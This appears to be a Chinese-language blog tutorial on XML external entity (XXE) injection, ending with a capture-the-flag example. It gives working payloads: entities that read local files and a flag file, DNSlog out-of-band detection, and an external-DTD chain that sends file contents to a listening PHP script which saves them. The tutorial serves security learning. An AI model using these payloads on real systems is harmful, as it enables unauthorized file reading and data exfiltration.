XXE是什么?

XML作为一种常用于Web应用程序的数据格式。XML文档可以定义实体,它们是存储文档中其他地方重复使用的数据的方式。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击,在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入恶意内容,可能导致未授权的数据访问、服务拒绝攻击甚至远程代码执行。

XXE漏洞发生在应用程序解析XML输入的时候,没有禁止外部实体的加载,导致可能加载恶意外部程序,进而引发各种危害

判定XML传输

对于这个漏洞,最重要的是要判断是否使用了XML进行数据的传输,我们可以通过以下两个特征来进行判断,我们抓取数据提交的数据包,查看AcceptX-Requested-With,如下所示

image-20240814105724662

当出现application/xml以及XMLHttpRequest的时候我们就可以判断其使用了XML进行了数据传输,这个时候我们就可以测试一下是否存在XXE漏洞

XXE读取文件

相关payload如下所示:

<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>

image-20240814110417373

我们可以成功读取到相关的文件

XXE带外测试

当对方关闭了回显的时候,即注释掉下面的两行代码

image-20240814110624139

这个时候我们无论发送什么,都不会有相关的回显

image-20240814110949750

这个时候我们如何去判断有没有XXE漏洞呢?这个时候就要使用DNSlog外带技术进行带外测试,我们将地址换成dnslog的地址,如下所示

image-20240814155845194

点击发送后,我们刷新dnslog的记录,看看是否刷新了相关访问记录

image-20240814160003566

出现这种情况,我们可以判断存在XXE漏洞,只是没有对应的输出信息

XXE实体引用

带外只能判断漏洞是否存在,如果漏洞存在,那么我们该如何进行利用呢?这个时候我们就需要用到DTD文件,通过DTD文件帮助我们将对应的文件信息发送出去

我们的XML信息填写如下:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/web/php_xxe/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd文件如下所示:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/web/get1.php?file=%file;'>">

我们的get1.php如下所示

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>

我们发送后,其会调用我们外部的dtd文件,然后实现自动发送,我们使用get1.php文件进行接收对应的参数,并保存为文件

更多玩法参考这篇文章:CTF XXE - MustaphaMond - 博客园 (cnblogs.com)

CTF例题

我们以nssctf上的exx为例子,这个题目一看就是要我们使用xxe漏洞进行攻击

image-20240814163509330

我们首先先随便用一个账号密码登录,然后抓包看看什么情况

image-20240814163626241

更加确定我们这里存在XXE漏洞了,我们这里直接读取flag试试

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>

发送后我们直接读到flag

image-20240814164218948